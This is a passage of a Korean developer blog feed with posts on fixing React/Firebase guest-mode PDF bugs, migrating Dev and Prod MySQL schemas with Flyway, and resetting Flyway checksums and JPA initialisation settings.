<h2 id="코드-변경-2">코드 변경</h2>
<p><strong>ConceptView.tsx / MemorizeView.tsx</strong></p>
<pre><code class="language-jsx">// blob URL 감지 시 텍스트 추출 모드로 전환
if ((fileId === &#39;guest&#39; || !currentUser) &amp;&amp; urlToUse.startsWith(&#39;blob:&#39;)) {
  console.log(&quot;[ConceptView] Guest mode: extracting text from blob URL&quot;);
  const extractedText = await extractTextFromPdf(urlToUse);
  // pdfUrl 대신 transcript로 전송
  await conceptService.extractConcepts(extractedText, { isTranscript: true });
}</code></pre>
<p><strong>functions/index.ts</strong></p>
<pre><code class="language-jsx">// transcript 파라미터 지원 추가
const { pdfUrl, transcript, pageRanges, ... } = req.body;

if (!pdfUrl &amp;&amp; !transcript) {
  res.status(400).send(&quot;PDF URL 또는 transcript가 필요합니다.&quot;);
  return;
}

// Transcript 모드 처리
if (transcript) {
  const stream = await extractConceptsWithGeminiService(
    null,  // PDF base64 없음
    language,
    languageInstruction,
    transcript,  // 텍스트 직접 전달
    customPrompt
  );
  // ... 스트리밍 응답
}</code></pre>
<h2 id="💡-교훈-2">💡 교훈</h2>
<ul>
<li>클라이언트-서버 간 리소스 공유 방식을 명확히 설계해야 함</li>
<li>blob URL은 클라이언트 전용, 서버 전송 시 base64 또는 텍스트 변환 필요</li>
</ul>
<hr>
<h1 id="🔴-버그-4-transcript--pageranges-파라미터-충돌">🔴 버그 4: transcript + pageRanges 파라미터 충돌</h1>
<h2 id="증상-3">증상</h2>
<ul>
<li>게스트 모드에서 페이지 범위 지정 시 400 에러</li>
<li>&quot;페이지 범위는 transcript와 함께 사용할 수 없습니다&quot; 메시지</li>
</ul>
<h2 id="근본-원인-3">근본 원인</h2>
<ul>
<li>프론트엔드에서 transcript 모드임에도 pageRanges를 함께 전송</li>
<li>백엔드에서 유효성 검사 추가 후 발생</li>
</ul>
<h2 id="해결-방법-3">해결 방법</h2>
<ol>
<li>백엔드에 명확한 유효성 검사 추가 (transcript + pageRanges 조합 거부)</li>
<li>프론트엔드에서 transcript 모드일 때 pageRanges 전송 안 함</li>
<li>게스트 암기 기능은 전체 PDF로 자동 생성 (페이지 범위 옵션 제거)</li>
</ol>
<h2 id="코드-변경-3">코드 변경</h2>
<p><strong>ConceptService.ts / MemorizeService.ts</strong></p>
<pre><code class="language-jsx">// URL이면 pdfUrl + pageRanges, 아니면 transcript만
if (isUrl) {
  requestBody.pdfUrl = pdfUrl;
  requestBody.pageRanges = options?.pageRanges || null;
} else {
  requestBody.transcript = pdfUrl;  // 추출된 텍스트
  // transcript 모드에서는 pageRanges를 전송하지 않음
}</code></pre>
<p><strong>MemorizeView.tsx</strong></p>
<pre><code class="language-jsx">// 게스트 모드: 페이지 범위 옵션 없이 바로 전체 생성
if (fileId === &quot;guest&quot;) {
  setShowOptions(false);
  generateMemorize();  // pageRanges 없이 호출
}</code></pre>
<hr>
<h1 id="🔴-버그-5-캡처-이미지가-채팅창-미리보기에-안-나타남">🔴 버그 5: 캡처 이미지가 채팅창 미리보기에 안 나타남</h1>
<h2 id="증상-4">증상</h2>
<ul>
<li>올가미로 이미지 캡처 후 채팅 입력창에 미리보기 이미지가 안 보임</li>
<li>콘솔에 에러 없음, 캡처 자체는 성공</li>
</ul>
<h2 id="디버깅-과정-3">디버깅 과정</h2>
<ol>
<li>onCapture 콜백 호출 확인 → 정상</li>
<li>capturedImage prop 전달 확인 → 정상</li>
<li>setSelectedImages 호출 확인 → 호출됨</li>
<li>상태 업데이트 후 값 확인 → <strong>이전 값 참조 (stale closure)</strong></li>
</ol>
<h2 id="근본-원인-4">근본 원인</h2>
<p>React의 <strong>stale closure</strong> 문제.</p>
<p><code>useCallback</code> 내부에서 <code>selectedImages</code> 상태를 직접 참조하면 클로저에 캡처된 시점의 값을 사용.</p>
<h2 id="해결-방법-4">해결 방법</h2>
<ol>
<li>함수형 업데이트 사용: <code>setSelectedImages(prev =&gt; [...prev, file])</code></li>
<li>useCallback 의존성 배열 정리</li>
<li>부모 컴포넌트에 onCapturedImageProcessed 콜백 추가하여 capturedImage 초기화</li>
</ol>
<h2 id="코드-변경-4">코드 변경</h2>
<p><strong>GeminiChatView.tsx</strong></p>
<pre><code class="language-jsx">// Before: stale closure 발생
const handleScreenshotCapture = (imageData: string) =&gt; {
  setSelectedImages([...selectedImages, file]);  // selectedImages가 오래된 값
};

// After: 함수형 업데이트로 최신 상태 보장
const handleScreenshotCapture = useCallback((imageData: string) =&gt; {
  setSelectedImages(prev =&gt; [...prev, file]);
  setImagePreviews(prev =&gt; [...prev, imageData]);

  // 부모에게 처리 완료 알림
  if (onCapturedImageProcessed) {
    onCapturedImageProcessed();
  }
}, [onCapturedImageProcessed]);</code></pre>
<h2 id="💡-교훈-3">💡 교훈</h2>
<ul>
<li>React에서 이벤트 핸들러 내 상태 업데이트는 함수형 업데이트 사용</li>
<li>useCallback 의존성 배열을 명확히 관리</li>
</ul>
<hr>
<h1 id="📊-버그-요약-테이블">📊 버그 요약 테이블</h1>
<table>
<thead>
<tr>
<th>버그</th>
<th>핵심 원인</th>
<th>해결 난이도</th>
</tr>
</thead>
<tbody><tr>
<td>PDF 로딩 실패</td>
<td>blob URL의 Document 컨텍스트 한계</td>
<td>⭐⭐⭐⭐⭐</td>
</tr>
<tr>
<td>캡처 영역 불일치</td>
<td>좌표 체계 혼란 + iframe 접근 제한</td>
<td>⭐⭐⭐⭐</td>
</tr>
<tr>
<td>AI 기능 실패</td>
<td>blob URL 서버 전송 불가</td>
<td>⭐⭐⭐</td>
</tr>
<tr>
<td>파라미터 충돌</td>
<td>모드별 파라미터 분리 미흡</td>
<td>⭐⭐</td>
</tr>
<tr>
<td>미리보기 안됨</td>
<td>React stale closure</td>
<td>⭐⭐</td>
</tr>
</tbody></table>
<hr>
<h1 id="💡-이번-작업에서-얻은-인사이트">💡 이번 작업에서 얻은 인사이트</h1>
<h2 id="1-blob-url의-한계를-명확히-인지">1. blob URL의 한계를 명확히 인지</h2>
<ul>
<li>페이지 이동 시 무효화됨</li>
<li>서버에서 접근 불가</li>
<li>대안: sessionStorage, IndexedDB, base64</li>
</ul>
<h2 id="2-좌표-계산은-기준을-통일">2. 좌표 계산은 기준을 통일</h2>
<ul>
<li>absolute vs fixed vs viewport</li>
<li>스크롤 오프셋 항상 고려</li>
</ul>
<h2 id="3-게스트-모드는-별도-데이터-플로우-설계-필요">3. 게스트 모드는 별도 데이터 플로우 설계 필요</h2>
<ul>
<li>로그인 유저와 완전히 다른 경로</li>
<li>클라이언트 사이드 처리 필수</li>
</ul>
<h2 id="4-react-상태-업데이트의-비동기성-주의">4. React 상태 업데이트의 비동기성 주의</h2>
<ul>
<li>함수형 업데이트 습관화</li>
<li>useCallback 의존성 관리</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Flyway] 실제 프로젝트에 Flyway 적용하기 - Dev/Prod 스키마 통일 실전기]]></title>
            <link>https://velog.io/@eunseo_song/Flyway-%EC%8B%A4%EC%A0%9C-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8%EC%97%90-Flyway-%EC%A0%81%EC%9A%A9%ED%95%98%EA%B8%B0-DevProd-%EC%8A%A4%ED%82%A4%EB%A7%88-%ED%86%B5%EC%9D%BC-%EC%8B%A4%EC%A0%84%EA%B8%B0</link>
            <guid>https://velog.io/@eunseo_song/Flyway-%EC%8B%A4%EC%A0%9C-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8%EC%97%90-Flyway-%EC%A0%81%EC%9A%A9%ED%95%98%EA%B8%B0-DevProd-%EC%8A%A4%ED%82%A4%EB%A7%88-%ED%86%B5%EC%9D%BC-%EC%8B%A4%EC%A0%84%EA%B8%B0</guid>
            <pubDate>Tue, 27 Jan 2026 08:37:44 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p>Flyway 시리즈 7편: 로컬 환경에서 마이그레이션 테스트까지</p>
</blockquote>
<hr>
<h2 id="📌-문제-상황">📌 문제 상황</h2>
<p>Eatssu 프로젝트에서 <strong>Dev DB와 Prod DB의 스키마가 서로 달랐다.</strong></p>
<p>기존에 <code>ddl-auto: update</code>를 사용하고 있었는데, 이 방식은 <strong>Entity 변경 시 자동으로 DDL을 생성</strong>하지만 환경마다 다르게 적용될 수 있다.</p>
<h3 id="발견된-주요-차이점">발견된 주요 차이점</h3>
<table>
<thead>
<tr>
<th>항목</th>
<th>Dev</th>
<th>Prod</th>
</tr>
</thead>
<tbody><tr>
<td>college PK 타입</td>
<td>bigint auto_increment</td>
<td>int (auto_increment 없음)</td>
</tr>
<tr>
<td>department PK 타입</td>
<td>bigint auto_increment</td>
<td>int (auto_increment 없음)</td>
</tr>
<tr>
<td>restaurant, time_part 등</td>
<td>enum</td>
<td>varchar(255)</td>
</tr>
<tr>
<td>user.department_id FK</td>
<td>있음</td>
<td>없음</td>
</tr>
<tr>
<td>CASCADE 정책</td>
<td>없음</td>
<td>일부 있음</td>
</tr>
</tbody></table>
<p>→ <strong>Entity는 하나인데, 실제 DB는 제각각</strong>인 상황이었다.</p>
<hr>
<h2 id="🎯-목표">🎯 목표</h2>
<ol>
<li><strong>Entity를 Single Source of Truth</strong>로 삼아 정답 DDL 확정</li>
<li>Dev와 Prod를 <strong>동일한 스키마로 통일</strong></li>
<li><strong>Flyway로 DB 버전 관리</strong> 체계 구축</li>
<li>안전하게 <strong>로컬에서 먼저 테스트</strong> 후 실제 DB에 적용</li>
</ol>
<hr>
<h2 id="📋-선배의-조언">📋 선배의 조언</h2>
<p>마이그레이션 작업 전 선배에게 조언을 구했다.</p>
<blockquote>
<p>&quot;prodDB랑 똑같은 DB를 <strong>로컬에</strong> 만들고 그걸 <strong>실험</strong>하면 좋을 것 같다&quot;</p>
</blockquote>
<blockquote>
<p>&quot;실험 후 확정된 상황에서 prod에 반영을 한다&quot;</p>
</blockquote>
<blockquote>
<p>&quot;prod가 항상 정답이 아니고, dev가 최신인 부분도 있음 → <strong>전부 비교해서 최신으로</strong> 맞춰야 함&quot;</p>
</blockquote>
<h3 id="주의사항">주의사항</h3>
<ul>
<li><strong>metadata lock</strong>: 기존 테이블 수정 시 요청이 밀릴 수 있음</li>
<li>마이그레이션이 <strong>30초 넘어가면 위험</strong> → 사용량 적은 시간에 실행</li>
<li><strong>PK 타입 변경</strong>(int → bigint)은 FK 연결 테이블이 많아서 순서 중요</li>
<li><strong>varchar → enum</strong> 변경 시 기존 데이터 호환성 확인 필요<h2 id="🛡️-1단계-백업">🛡️ 1단계: 백업</h2>
</li>
</ul>
<h3 id="aws-rds-스냅샷">AWS RDS 스냅샷</h3>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/7d852fee-f399-4d84-9537-ab272a9eee19/image.png" alt=""></p>
<table>
<thead>
<tr>
<th>항목</th>
<th>값</th>
</tr>
</thead>
<tbody><tr>
<td>스냅샷명</td>
<td>before-flyway-migration-20260126</td>
</tr>
<tr>
<td>대상 DB</td>
<td>eatssu-prod-db</td>
</tr>
<tr>
<td>용도</td>
<td>Prod 실수 시 원상복구용</td>
</tr>
</tbody></table>
<h3 id="mysqldump로-로컬-복제용-백업">mysqldump로 로컬 복제용 백업</h3>
<p>SSH 터널링을 통해 RDS에 접근하여 dump 파일 생성:
<img src="https://velog.velcdn.com/images/eunseo_song/post/78d9657c-7521-43f0-a87b-ecdb436b000a/image.png" alt=""></p>
<pre><code class="language-bash"># SSH 터널링 (터미널 1)
ssh -L 3307:eatssu-prod-db.xxx.rds.amazonaws.com:3306 -N -i ~/.ssh/eatssu-prod-bastion.pem ubuntu@xx.xxx.xx.xxx

# dump 실행 (터미널 2)
mysqldump -h 127.0.0.1 -P 3307 -u admin -p prod &gt; prod_backup.sql
mysqldump -h 127.0.0.1 -P 3307 -u admin -p dev &gt; dev_backup.sql</code></pre>
<h3 id="스냅샷-vs-dump-역할">스냅샷 vs dump 역할</h3>
<table>
<thead>
<tr>
<th>백업 방식</th>
<th>목적</th>
</tr>
</thead>
<tbody><tr>
<td>스냅샷</td>
<td>최후의 보험 - Prod에서 실수하면 원상복구</td>
</tr>
<tr>
<td>dump</td>
<td>로컬에 복제해서 실험용</td>
</tr>
</tbody></table>
<hr>
<h2 id="🖥️-2단계-로컬-실험-환경-구축">🖥️ 2단계: 로컬 실험 환경 구축</h2>
<h3 id="로컬-mysql-설정">로컬 MySQL 설정</h3>
<pre><code class="language-bash"># MySQL 8.0 설치
brew install mysql@8.0

# 데이터 디렉토리 초기화
rm -rf /opt/homebrew/var/mysql &amp;&amp; mkdir /opt/homebrew/var/mysql
/opt/homebrew/opt/mysql@8.0/bin/mysqld --initialize-insecure --datadir=/opt/homebrew/var/mysql

# MySQL 시작
/opt/homebrew/opt/mysql@8.0/bin/mysqld_safe --datadir=/opt/homebrew/var/mysql &amp;</code></pre>
<h3 id="로컬-db-생성-및-dump-import">로컬 DB 생성 및 dump import</h3>
<pre><code class="language-bash">mysql -u root</code></pre>
<pre><code class="language-sql">CREATE DATABASE prod_local;
CREATE DATABASE dev_local;
exit;</code></pre>
<pre><code class="language-bash">mysql -u root prod_local &lt; prod_backup.sql
mysql -u root dev_local &lt; dev_backup.sql</code></pre>
<h3 id="결과">결과</h3>
<table>
<thead>
<tr>
<th>DB</th>
<th>용도</th>
</tr>
</thead>
<tbody><tr>
<td>eatssu-prod</td>
<td>실제 Prod (AWS)</td>
</tr>
<tr>
<td>eatssu-dev</td>
<td>실제 Dev (AWS)</td>
</tr>
<tr>
<td>prod_local</td>
<td>로컬 실험용 (Prod 복제)</td>
</tr>
<tr>
<td>dev_local</td>
<td>로컬 실험용 (Dev 복제)</td>
</tr>
</tbody></table>
<hr>
<h2 id="🔍-3단계-entity-vs-dev-vs-prod-3자-비교">🔍 3단계: Entity vs Dev vs Prod 3자 비교</h2>
<p>Claude Code를 활용하여 16개 Entity 파일을 분석하고, Dev DDL, Prod DDL과 비교했다.</p>
<h3 id="비교-원칙">비교 원칙</h3>
<table>
<thead>
<tr>
<th>비교 대상</th>
<th>역할</th>
</tr>
</thead>
<tbody><tr>
<td>Entity 코드</td>
<td>정답 (Single Source of Truth)</td>
</tr>
<tr>
<td>Dev DB</td>
<td>현재 개발 환경</td>
</tr>
<tr>
<td>Prod DB</td>
<td>현재 운영 환경</td>
</tr>
</tbody></table>
<h3 id="주요-차이점-요약">주요 차이점 요약</h3>
<h4 id="1-pk-타입-불일치-고위험">1. PK 타입 불일치 (고위험)</h4>
<ul>
<li>college, department: Prod가 int, Dev/Entity가 bigint</li>
<li>FK 컬럼들도 타입 불일치</li>
</ul>
<h4 id="2-varchar-→-enum-변환-필요-10개-컬럼">2. varchar → enum 변환 필요 (10개 컬럼)</h4>
<ul>
<li><a href="http://meal.restaurant">meal.restaurant</a>, meal.time_part</li>
<li><a href="http://menu.restaurant">menu.restaurant</a>, menu_<a href="http://category.restaurant">category.restaurant</a></li>
<li>user.provider, user.role, user.status</li>
<li>inquiry.status, <a href="http://report.report">report.report</a>_type, report.status</li>
</ul>
<h4 id="3-cascade-정책-팀-합의-필요">3. CASCADE 정책 (팀 합의 필요)</h4>
<p>Prod에만 존재하는 ON DELETE CASCADE:</p>
<ul>
<li>meal_<a href="http://menu.menu">menu.menu</a>_id → menu</li>
<li>review.meal_id → meal</li>
<li><a href="http://report.review">report.review</a>_id → review</li>
</ul>
<p><strong>팀 결정: Prod 따라가기로 함 (CASCADE 유지)</strong></p>
<hr>
<h2 id="🔧-4단계-마이그레이션-sql-실행-로컬">🔧 4단계: 마이그레이션 SQL 실행 (로컬)</h2>
<p>FK 의존성을 고려하여 Phase별로 실행했다.</p>
<h3 id="실행-순서">실행 순서</h3>
<table>
<thead>
<tr>
<th>Phase</th>
<th>작업</th>
<th>상태</th>
</tr>
</thead>
<tbody><tr>
<td>0</td>
<td>데이터 검증 (varchar→enum 호환성)</td>
<td>✅ 통과</td>
</tr>
<tr>
<td>1</td>
<td>FK 제약조건 해제</td>
<td>✅ 완료</td>
</tr>
<tr>
<td>2</td>
<td>PK 타입 변경 (int→bigint)</td>
<td>✅ 완료</td>
</tr>
<tr>
<td>3</td>
<td>FK 컬럼 타입 변경</td>
<td>✅ 완료</td>
</tr>
<tr>
<td>4</td>
<td>FK 제약조건 재생성</td>
<td>✅ 완료</td>
</tr>
<tr>
<td>5</td>
<td>varchar → enum 변경</td>
<td>✅ 완료</td>
</tr>
<tr>
<td>6</td>
<td>기타 컬럼 변경 + CASCADE 적용</td>
<td>✅ 완료</td>
</tr>
<tr>
<td>7</td>
<td>최종 검증</td>
<td>✅ 통과</td>
</tr>
</tbody></table>
<h3 id="phase-0-데이터-검증-중요">Phase 0: 데이터 검증 (중요!)</h3>
<p>varchar → enum 변환 전, 기존 데이터가 enum 값에 포함되는지 확인:</p>
<pre><code class="language-sql">SELECT &#39;user.provider 검증&#39; AS check_name, provider, COUNT(*) AS cnt
FROM user
WHERE provider NOT IN (&#39;EATSSU&#39;, &#39;KAKAO&#39;, &#39;APPLE&#39;)
  AND provider IS NOT NULL
GROUP BY provider;</code></pre>
<p>→ 모든 검증 쿼리에서 <strong>0건</strong>이어야 마이그레이션 안전!</p>
<h3 id="phase-2-pk-타입-변경-핵심">Phase 2: PK 타입 변경 (핵심)</h3>
<p>FK를 먼저 해제해야 PK 타입 변경 가능:</p>
<pre><code class="language-sql">SET FOREIGN_KEY_CHECKS = 0;

ALTER TABLE college MODIFY college_id BIGINT NOT NULL AUTO_INCREMENT;
ALTER TABLE department MODIFY department_id BIGINT NOT NULL AUTO_INCREMENT;</code></pre>
<hr>
<h2 id="📁-5단계-flyway-스크립트-생성">📁 5단계: Flyway 스크립트 생성</h2>
<h3 id="파일-위치">파일 위치</h3>
<pre><code>src/main/resources/db/migration/
└── V1__schema_sync.sql</code></pre><h3 id="주요-특징">주요 특징</h3>
<ul>
<li><strong>Idempotent</strong>: FK/인덱스 존재 여부 체크 후 조건부 실행</li>
<li><strong>Prod/Dev 호환</strong>: 두 환경의 다른 FK명 모두 처리</li>
<li><strong>Entity 기준</strong>: 최종 스키마는 Entity 정의와 일치</li>
</ul>
<hr>
<h2 id="✅-완료-상태">✅ 완료 상태</h2>
<table>
<thead>
<tr>
<th>단계</th>
<th>상태</th>
</tr>
</thead>
<tbody><tr>
<td>Prod 스냅샷 백업</td>
<td>✅ 완료</td>
</tr>
<tr>
<td>Prod/Dev dump</td>
<td>✅ 완료</td>
</tr>
<tr>
<td>로컬 DB 복제</td>
<td>✅ 완료</td>
</tr>
<tr>
<td>Entity vs Dev vs Prod 비교 분석</td>
<td>✅ 완료</td>
</tr>
<tr>
<td>로컬 마이그레이션 테스트</td>
<td>✅ 완료</td>
</tr>
<tr>
<td>V1__schema_sync.sql 생성</td>
<td>✅ 완료</td>
</tr>
</tbody></table>
<hr>
<h2 id="📌-다음-단계-8편-예정">📌 다음 단계 (8편 예정)</h2>
<ol>
<li>팀원과 SQL 스크립트 교차 검증</li>
<li>실제 Dev DB에 적용 (사용량 적은 시간대)</li>
<li>Dev 테스트 후 실제 Prod DB에 적용</li>
<li>application.yml에 Flyway 설정 추가</li>
</ol>
<pre><code class="language-yaml">spring:
  jpa:
    hibernate:
      ddl-auto: validate  # update → validate 변경
  flyway:
    enabled: true
    baseline-on-migrate: true
    baseline-version: 1
    locations: classpath:db/migration</code></pre>
<hr>
<h2 id="💡-배운-점">💡 배운 점</h2>
<ol>
<li><strong>ddl-auto: update의 한계</strong>: 환경마다 다르게 적용될 수 있어 Flyway 같은 마이그레이션 도구 필요</li>
<li><strong>백업의 중요성</strong>: 스냅샷(복원용) + dump(실험용) 이중 백업</li>
<li><strong>로컬 테스트 필수</strong>: 실제 DB에 적용하기 전 로컬에서 충분히 검증</li>
<li><strong>FK 의존성 순서</strong>: PK 변경 시 FK 먼저 해제 → PK 변경 → FK 재생성</li>
<li><strong>팀 합의</strong>: CASCADE 같은 정책은 혼자 결정하지 않고 팀과 논의</li>
</ol>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Flyway] Flyway에서 특정 체크섬을 제거하는 방법]]></title>
            <link>https://velog.io/@eunseo_song/6.-Flyway%EC%97%90%EC%84%9C-%ED%8A%B9%EC%A0%95-%EC%B2%B4%ED%81%AC%EC%84%AC%EC%9D%84-%EC%A0%9C%EA%B1%B0%ED%95%98%EB%8A%94-%EB%B0%A9%EB%B2%95</link>
            <guid>https://velog.io/@eunseo_song/6.-Flyway%EC%97%90%EC%84%9C-%ED%8A%B9%EC%A0%95-%EC%B2%B4%ED%81%AC%EC%84%AC%EC%9D%84-%EC%A0%9C%EA%B1%B0%ED%95%98%EB%8A%94-%EB%B0%A9%EB%B2%95</guid>
            <pubDate>Sun, 18 Jan 2026 15:04:13 GMT</pubDate>
            <description><![CDATA[<h2 id="q-특정-마이그레이션-버전을-제거하고-다시-실행하려면">Q. 특정 마이그레이션 버전을 제거하고 다시 실행하려면?</h2>
<h3 id="1-flyway-히스토리-테이블-이해하기">1. Flyway 히스토리 테이블 이해하기</h3>
<ul>
<li>Flyway는 <strong>flyway_schema_history</strong> 테이블에서 <strong>마이그레이션 이력을 관리</strong>합니다.<h4 id="테이블-구조">테이블 구조:</h4>
<pre><code>SELECT * FROM flyway_schema_history;</code></pre><img src="https://velog.velcdn.com/images/eunseo_song/post/9f3bfd3b-682a-49a9-8331-778337c3a334/image.png" alt=""></li>
</ul>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/67cb27b1-5533-4481-a93b-5b3d97449a09/image.png" alt=""></p>
<h4 id="핵심-컬럼">핵심 컬럼:</h4>
<ul>
<li>version: 마이그레이션 버전</li>
<li>checksum: 파일 내용의 해시값</li>
<li>success: 성공 여부</li>
</ul>
<h3 id="2-해결-방법">2. 해결 방법</h3>
<h4 id="방법-1-로컬-환경---전체-초기화-빠름">방법 1: 로컬 환경 - 전체 초기화 (빠름)</h4>
<pre><code>-- flyway_schema_history 테이블 완전 삭제
DROP TABLE flyway_schema_history;

-- 또는 데이터베이스 전체 초기화
DROP DATABASE your_database;
CREATE DATABASE your_database;</code></pre><ul>
<li>장점: 간단하고 빠름</li>
<li>단점: ⚠️ 모든 데이터 삭제 (로컬만 사용!)</li>
</ul>
<h4 id="방법-2-특정-버전만-제거-안전함-⭐-권장">방법 2: 특정 버전만 제거 (안전함) ⭐ 권장</h4>
<p><strong>시나리오: V3__add_product_table.sql</strong>을 잘못 작성해서 다시 실행해야 함</p>
<ul>
<li>Step 1: 현재 상태 확인<pre><code>SELECT version, description, checksum, success 
FROM flyway_schema_history 
WHERE version = &#39;3&#39;;</code></pre></li>
</ul>
<p><strong>출력:</strong></p>
<pre><code>version | description        | checksum   | success
3       | add product table | -123456789 | true</code></pre><ul>
<li>Step 2: 잘못 생성된 테이블 삭제
```</li>
<li><ul>
<li>V3에서 만든 테이블 삭제
DROP TABLE IF EXISTS product;
```</li>
</ul>
</li>
<li><em>⚠️ 프로덕션에서는 데이터 백업 필수!*</em></li>
<li>Step 3: Flyway 히스토리에서 해당 버전 삭제<pre><code>sql
DELETE FROM flyway_schema_history 
WHERE version = &#39;3&#39;;</code></pre></li>
<li><em>확인*</em>
```
SELECT * FROM flyway_schema_history WHERE version = &#39;3&#39;;</li>
<li><ul>
<li>Empty set (결과 없음)
```</li>
</ul>
</li>
<li>Step 4: 수정된 스크립트로 재실행
```</li>
<li><ul>
<li>V3__add_product_table.sql (수정됨)</li>
</ul>
</li>
<li><ul>
<li>애플리케이션 재시작 시 Flyway가 자동 실행<pre><code></code></pre></li>
</ul>
</li>
</ul>
<p><strong>로그:</strong></p>
<pre><code>INFO - Migrating schema to version 3 - add product table
INFO - Successfully applied 1 migration</code></pre><h4 id="방법-3-flyway-repair-사용-가장-안전">방법 3: Flyway Repair 사용 (가장 안전)</h4>
<pre><code># 실패한 마이그레이션 &amp; 체크섬 문제 해결
flyway repair</code></pre><ul>
<li><p>flyway repair 명령어:</p>
<p>  ✅ 실패한 마이그레이션 기록 제거
  ✅ 체크섬 재계산
  ⚠️ 실제 DB 객체는 건드리지 않음 (수동 DROP 필요)</p>
</li>
<li><p><em>사용 순서:*</em></p>
<pre><code># 1. repair로 히스토리 정리
flyway repair
</code></pre></li>
</ul>
<h1 id="2-잘못된-테이블-수동-삭제">2. 잘못된 테이블 수동 삭제</h1>
<p>DROP TABLE product;</p>
<h1 id="3-수정된-스크립트로-재실행">3. 수정된 스크립트로 재실행</h1>
<p>flyway migrate</p>
<pre><code>
### 3. 실전 예시: 컬럼 길이를 잘못 설정한 경우
**문제 상황**</code></pre><p>-- V5__add_table_a.sql (잘못 작성됨)
CREATE TABLE a (
    id INT PRIMARY KEY,
    name VARCHAR(50)  -- ❌ 너무 짧음!
);</p>
<pre><code>
**현재 상태:**

- ✅ 테이블 생성됨
- ✅ flyway_schema_history에 기록됨
- ❌ VARCHAR(50) → VARCHAR(200)으로 수정 필요

#### 해결 과정
1️⃣ 잘못 만든 테이블 삭제
</code></pre><p>DROP TABLE a;</p>
<pre><code>2️⃣ Flyway 히스토리 삭제
</code></pre><p>DELETE FROM flyway_schema_history 
WHERE version = &#39;5&#39;;</p>
<pre><code>- 확인:
</code></pre><p>SELECT * FROM flyway_schema_history WHERE version = &#39;5&#39;;
-- Empty set ✅</p>
<pre><code>3️⃣ 스크립트 수정

&gt; -- V5__add_table_a.sql (수정됨)
CREATE TABLE a (
    id INT PRIMARY KEY,
    name VARCHAR(200)  -- ✅ 충분한 길이로 수정
);

4️⃣ 애플리케이션 재시작

&gt; 애플리케이션 시작
  ↓
Flyway: V5가 없네? 실행!
  ↓
수정된 V5__add_table_a.sql 실행
  ↓
새로운 체크섬으로 기록
  ↓
성공! ✅


#### 체크섬 불일치 에러 해결

- 에러 메시지</code></pre><p>Migration checksum mismatch for migration version 5
-&gt; Applied to database : -1234567890
-&gt; Resolved locally    : 987654321</p>
<pre><code>**원인**
- 이미 실행된 마이그레이션 파일을 수정함
- Flyway는 파일 변경을 체크섬으로 감지

### 해결 방법
#### Option 1: 새 버전 생성 (권장 ⭐)</code></pre><p>-- V5는 그대로 두고
-- V6__fix_table_a.sql 생성
ALTER TABLE a MODIFY COLUMN name VARCHAR(200);</p>
<pre><code>#### Option 2: 히스토리 삭제 (로컬만)</code></pre><p>DELETE FROM flyway_schema_history WHERE version = &#39;5&#39;;
DROP TABLE a;
-- 수정된 V5로 재실행</p>
<pre><code>## 언제 어떤 방법을 쓸까?
![](https://velog.velcdn.com/images/eunseo_song/post/678c9cf5-4c18-4ade-b489-e6188cdae32e/image.png)
</code></pre>]]></description>
        </item>
        <item>
            <title><![CDATA[[Flyway] Flyway-JPA 초기화 순서 트러블슈팅 & 성능 최적화 가이드]]></title>
            <link>https://velog.io/@eunseo_song/6.-Flyway-JPA-%EC%B4%88%EA%B8%B0%ED%99%94-%EC%88%9C%EC%84%9C-%ED%8A%B8%EB%9F%AC%EB%B8%94%EC%8A%88%ED%8C%85-%EC%84%B1%EB%8A%A5-%EC%B5%9C%EC%A0%81%ED%99%94-%EA%B0%80%EC%9D%B4%EB%93%9C</link>
            <guid>https://velog.io/@eunseo_song/6.-Flyway-JPA-%EC%B4%88%EA%B8%B0%ED%99%94-%EC%88%9C%EC%84%9C-%ED%8A%B8%EB%9F%AC%EB%B8%94%EC%8A%88%ED%8C%85-%EC%84%B1%EB%8A%A5-%EC%B5%9C%EC%A0%81%ED%99%94-%EA%B0%80%EC%9D%B4%EB%93%9C</guid>
            <pubDate>Sun, 18 Jan 2026 14:47:17 GMT</pubDate>
            <description><![CDATA[<h2 id="7장mysqlpostgresql-차이점">7장.MySQL/PostgreSQL 차이점</h2>
<h3 id="현재-프로젝트mysql-설정">현재 프로젝트(MySQL 설정)</h3>
<ul>
<li>build.gradle
<img src="https://velog.velcdn.com/images/eunseo_song/post/0dcc8587-9c2c-465f-b552-f7f0be3d9552/image.png" alt=""></li>
<li>문제점: MySQL을 사용하는데 PostgreSQL 드라이버 포함됨</li>
<li>수정 필요
<img src="https://velog.velcdn.com/images/eunseo_song/post/a7a89d47-9a33-43b0-9c37-a7ec32f07b4f/image.png" alt=""></li>
<li>application-local.yml
<img src="https://velog.velcdn.com/images/eunseo_song/post/e2972533-deee-4fda-8a36-56d06bad8b9d/image.png" alt=""><h3 id="postgresql-사용-시">PostgreSQL 사용 시</h3>
<img src="https://velog.velcdn.com/images/eunseo_song/post/75e1d2f9-ff1a-444a-af4d-f87712c61442/image.png" alt=""><h3 id="flyway-마이그레이션-sql-차이">Flyway 마이그레이션 SQL 차이</h3>
</li>
<li>MySQL (V1__initial.sql)
<img src="https://velog.velcdn.com/images/eunseo_song/post/d8a61e95-e288-4ea8-813d-e7cbc0a936db/image.png" alt=""></li>
<li>PostgreSQL (V1__initial.sql)
<img src="https://velog.velcdn.com/images/eunseo_song/post/84205e23-dea0-48ee-91ec-5b85febd9247/image.png" alt=""><h2 id="8장-성능-고려사항">8장. 성능 고려사항</h2>
<h3 id="applicationyml">application.yml</h3>
<img src="https://velog.velcdn.com/images/eunseo_song/post/1211a0c5-af69-45ac-9a3a-af7e27f6fb12/image.png" alt=""><h3 id="baseline-on-migrate-true가-성능에-미치는-영향">baseline-on-migrate: true가 성능에 미치는 영향</h3>
</li>
</ul>
<p>장점:</p>
<ul>
<li>기존 DB에 Flyway를 처음 도입할 때 유용</li>
<li>현재 스키마를 버전 1로 간주</li>
</ul>
<p>단점:</p>
<ul>
<li><p>최초 실행 시 스키마 전체 스캔 필요</p>
</li>
<li><p>애플리케이션 시작 시간 증가 (약 500ms ~ 2초)</p>
<h3 id="프로덕션-환경-권장-설정">프로덕션 환경 권장 설정</h3>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/336e349c-f836-4b4d-817c-681aba427806/image.png" alt=""></p>
